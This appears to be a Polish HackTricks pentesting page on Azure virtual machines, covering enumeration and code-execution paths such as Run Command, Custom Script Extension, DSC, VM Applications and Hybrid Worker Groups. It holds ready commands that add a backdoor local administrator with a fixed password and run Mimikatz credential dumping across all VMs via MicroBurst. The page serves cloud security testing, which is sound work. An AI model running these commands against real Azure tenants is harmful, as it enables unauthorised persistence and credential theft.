Az - Virtual Machines & Network

Wsparcie dla HackTricks

Podstawowe informacje

Z dokumentacji: Maszyny wirtualne Azure są jednym z kilku typów zasobów obliczeniowych na żądanie i skalowalnych, które oferuje Azure. Zazwyczaj wybierasz maszynę wirtualną, gdy potrzebujesz większej kontroli nad środowiskiem obliczeniowym niż oferują inne opcje. Ten artykuł dostarcza informacji o tym, co powinieneś wziąć pod uwagę przed utworzeniem maszyny wirtualnej, jak ją utworzyć i jak nią zarządzać.

Informacje o sieci Azure

Sieci Azure zawierają różne podmioty i sposoby ich konfiguracji. Możesz znaleźć krótkie opisy, przykłady i komendy enumeracji różnych podmiotów sieciowych Azure w:

Az - Azure Network

Azure Bastion

Azure Bastion oferuje bezpieczne, w pełni zarządzane rozwiązanie dostępu RDP (Remote Desktop Protocol) i SSH (Secure Shell) przez SSL za pośrednictwem portalu Azure. Jest zintegrowany w ramach sieci wirtualnej Azure, co umożliwia łączność RDP i SSH z VM-ami przy użyciu prywatnych adresów IP, unikając potrzeby używania publicznych adresów IP. To czyni go bezpieczniejszą, bardziej wygodną alternatywą dla tradycyjnych metod związanych z przypisywaniem publicznych adresów IP i konfiguracjami reguł NSG dla dostępu do VM. Programiści i personel IT mogą bezpiecznie uzyskiwać dostęp do VM-ów z portalu Azure za pomocą swoich przeglądarek internetowych, co upraszcza proces dla środowisk deweloperskich i testowych.

Aby wyświetlić wszystkie hosty Azure Bastion w swojej subskrypcji, możesz użyć następującej komendy:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Enumeracja VM

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Uruchom polecenia w VM

Logowanie AAD w VM

Możliwe jest zezwolenie na dostęp dla użytkowników uwierzytelnionych za pomocą AzureAD. Na przykład próbując uzyskać dostęp do linux VM: ssh username@azure-corp.com@1.1.1.1 (ważne jest, aby użyć adresu e-mail z azurecorp używanego podczas próby logowania) możesz otrzymać błąd taki jak:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Po prostu postępuj zgodnie z tymi instrukcjami, przechodząc do https://microsoft.com/devicelogin i podając kod, użyj adresu e-mail i hasła jako poświadczeń, a będziesz mógł połączyć się za pomocą SSH (jeśli ten użytkownik ma wystarczające uprawnienia: rola Virtual Machine Administrator Login lub Virtual Machine User Login).

Run Command

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Uruchomienie rozszerzenia niestandardowego skryptu

Rozszerzenia maszyn wirtualnych (VM) w Azure to małe aplikacje, które zapewniają konfigurację po wdrożeniu i automatyzację zadań na maszynach wirtualnych Azure. Na przykład, jeśli maszyna wirtualna wymaga instalacji oprogramowania, ochrony antywirusowej lub możliwości uruchomienia skryptu wewnątrz niej, możesz użyć rozszerzenia VM.

Dlatego, jeśli masz dostęp do zapisu, możesz wykonać dowolny kod:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC) to narzędzie PowerShell podobne do Ansible, używane do konfigurowania hosta za pomocą kodu. DSC integruje się z Azure, umożliwiając przesyłanie konkretnych plików konfiguracyjnych. Pliki te muszą przestrzegać ścisłej składni. Co ważne, rozszerzenie DSC w Azure może wykonywać polecenia z plików, które spełniają określone kryteria formatowania, nawet jeśli składnia nie jest poprawna według standardów DSC, jak pokazano na dostarczonym rysunku.

Wykonanie tych poleceń jest ułatwione przez funkcję Publish-AzVMDscConfiguration w Az PowerShell. Wymagania obejmują plik .PS1 z zdefiniowaną funkcją, a plik musi być spakowany do pliku .zip. Mimo że składnia może nie być dokładna dla DSC, kod nadal zostanie wykonany. Jednak rozszerzenie oznaczy status wykonania jako "niepowodzenie", a żaden wynik z polecenia nie będzie widoczny z powodu nadpisania statusu komunikatem o błędzie.

VM Application Definitions

Definicje aplikacji VM umożliwiają powtarzalne wdrażanie wersjonowanych aplikacji na maszynie wirtualnej Azure. Ten zasób wspiera wdrażanie i aktualizację aplikacji w różnych maszynach wirtualnych. Aby to skonfigurować, wymagane są różne kroki, obejmujące polecenia takie jak New-AzGalleryApplication i New-AzGalleryApplicationVersion w Az PowerShell.

Wykonanie aplikacji lub poleceń tą metodą wiąże się z "VMAppExtension", która jest automatycznie instalowana, gdy aplikacja jest stosowana do maszyny wirtualnej. Rozszerzenie pobiera plik z określonego URI i nazywa go dokładnie tak samo jak aplikacja, bez rozszerzenia. Aby poprawnie wykonać plik, pole "ManageActions" w wywołaniu REST API musi być skonfigurowane do zmiany nazwy pliku na odpowiednie rozszerzenie. Ustawienie tej metody, po zakończeniu, będzie przypominać strukturę pokazaną na dostarczonym rysunku.

Jednak ta metoda wykonania jest stosunkowo wolna, zajmując około 3-4 minut na wykonanie aplikacji lub polecenia. Pliki związane z tym procesem są przechowywane w określonych katalogach (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ dla kopii aplikacji i C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ dla statusu wykonania).

Obie techniki oferują unikalne sposoby wykonywania poleceń i wdrażania aplikacji w środowiskach Azure, każda z własnym zestawem wymagań, kroków i rozważań.

Hybrid Worker Groups (HWGs) in Azure

Hybrid Worker Groups (HWGs) to funkcja w Azure, która pozwala na wykonywanie Runbooków, skonfigurowanych w koncie automatyzacji, na maszynie wirtualnej Azure (VM), która jest częścią wyznaczonej HWG. To wykonanie jest ułatwione przez rozszerzenie zainstalowane na VM, które wdraża kod Runbooka na VM. Istotnym aspektem tego procesu jest to, że rzeczywiste poświadczenia nie mają znaczenia w wykonaniu, ponieważ kod działa z podwyższonymi uprawnieniami, konkretnie jako SYSTEM lub root, jak pokazano na dostarczonym rysunku.

Kluczowym szczegółem dla osób korzystających z maszyn wirtualnych Windows 10 jest konieczność określenia wersji PowerShell dla Runbooka. Powinna być ustawiona na uruchamianie jako PowerShell Wersja 5.1 zamiast 7.1. Wymóg ten wynika z faktu, że PowerShell 7.1 nie jest domyślnie zainstalowany na tych maszynach wirtualnych, co prowadzi do niepowodzenia w wykonaniu skryptu, jeśli określona jest wersja 7.1.

Ta funkcja Azure oferuje solidną metodę automatyzacji i zarządzania zadaniami w środowiskach hybrydowych, umożliwiając centralne zarządzanie i wykonywanie zadań na maszynach wirtualnych Azure.

References

Support HackTricks

Last updated